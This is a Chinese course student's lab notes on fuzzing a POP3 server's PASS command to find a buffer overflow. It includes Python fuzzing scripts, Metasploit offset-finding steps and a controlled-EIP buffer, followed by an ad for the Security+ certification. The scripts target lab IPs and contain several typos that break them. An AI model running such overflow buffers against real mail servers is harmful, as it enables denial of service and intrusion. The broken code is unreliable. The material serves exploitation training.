【安全牛学习笔记】POP3

来源:互联网 发布:淘宝换货小二介入 编辑:程序博客网 时间:2024/05/18 14:46

╋━━━━━━━━╋

┃POP3            ┃

┃NC 110端口      ┃

┃了解未知协议    ┃

┃    wireshark   ┃

┃    RFC         ┃

┃01.py           ┃

╋━━━━━━━━╋

root@kali:~# nc 192.168.1.119 110

+OK POP3 server lab.com ready <00003.1700925@lab.com>

USER test

+OK test welcome here

pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

-ERR unable to lock mailbox

╭────────────────────────────────────────────╮

[01.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    print data

    s.send('USER yuanfu'+'\r\n')

    data = s.rec(1024)

    print data

    s.send('PASS test\r\n')

    data = s.recv(1024)

    print data

    s.close()

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./01.py

Sending evil buffer

+OK POP3 server lab.com ready <00003.1700925@lab.com>

+OK yuanfu welcome here

-ERR invalid password

Done!

╋━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                 ┃

┃测试PASS命令接收到大量数据时是否会溢出  ┃

┃EIP寄存器存放下一条指令的地址           ┃

┃02.py                                   ┃

╋━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[02.py]

#!/usr/bin/python

import socket

buffer=["A"]

counter=100

while len(buffer) <= 30:

    buffer.append("A"*counter)

    counter=counter+200

for string in buffer:

    print "Fuzzing PASS with %s bytes" % len(string)

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    connect = s.connect(('192.168.20.32',100))

    s.recv(1024)

    s.send('USER test'+'\r\n')

    s.recv(1024)

    s.send('PASS' + string + '\r\n')

    s.send('QUIT\r\n')

    s.close()

╰────────────────────────────────────────────╯

root@kali:~# ./02 .py

Fuzzing PASS with 1 bytes

Fuzzing PASS with 100 bytes

Fuzzing PASS with 300 bytes

Fuzzing PASS with 500 bytes

Fuzzing PASS with 700 bytes

Fuzzing PASS with 900 bytes

Fuzzing PASS with 1100 bytes

Fuzzing PASS with 100 bytes

Fuzzing PASS with 1300 bytes

Fuzzing PASS with 1500 bytes

Fuzzing PASS with 1700 bytes

Fuzzing PASS with 1900 bytes

Fuzzing PASS with 2100 bytes

Fuzzing PASS with 2300 bytes

Fuzzing PASS with 2500 bytes

Fuzzing PASS with 2700 bytes

Fuzzing PASS with 2900 bytes

Fuzzing PASS with 3100 bytes

Traceback (most recent call last):

  File "./02.py", line 13, in <module>

    connect = s.connect(('192.168.1.119',110))

  File "/usr/lib/python2.7/socket.py", line 224, in meth

    return getattr(self._sock,name)(*args)

socket.error: [Errno 111] Connection refused

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

┃FUZZING                                                       ┃

┃2700个字符实现EIP寄存器溢出                                   ┃

┃03.py                                                         ┃

┃找到精确溢出的4个字节                                         ┃

┃    二分法                                                    ┃

┃    唯一字串法                                                ┃

┃    usr/share/metasloit-framework/tools/pattern_create.rb 2700┃

┃    04.py                                                     ┃

┃    05.py                                                     ┃

╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋

╭────────────────────────────────────────────╮

[03.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2700

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

root@kali:~# ./03.py

Sending evil buffer

Done!

root@kali:~# cd usr/share/metasloit-framework/tools

root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 2700

root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 39694438

[*] Exact match at offset 2606

root@kali:usr/share/metasloit-framework/tools# 8Di9

╭────────────────────────────────────────────╮

[05.py]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)

buffer = "A" * 2606+"b"*4+"c"*20

try:

    print "\nSending evil buffer..."

    s.connect(('192.168.20.32',110))

    data = s.recv(1024)

    s.send('USER test'+'\r\n')

    data = s.rec(1024)

    s.send('PASS' + buffer 'test\r\n')

    print "\nDone!"

except:

    print "Could not connect to POP3!"

╰────────────────────────────────────────────╯

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂


Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

 近期,安全牛课堂在做此类线上培训,感兴趣可以了解

原创粉丝点击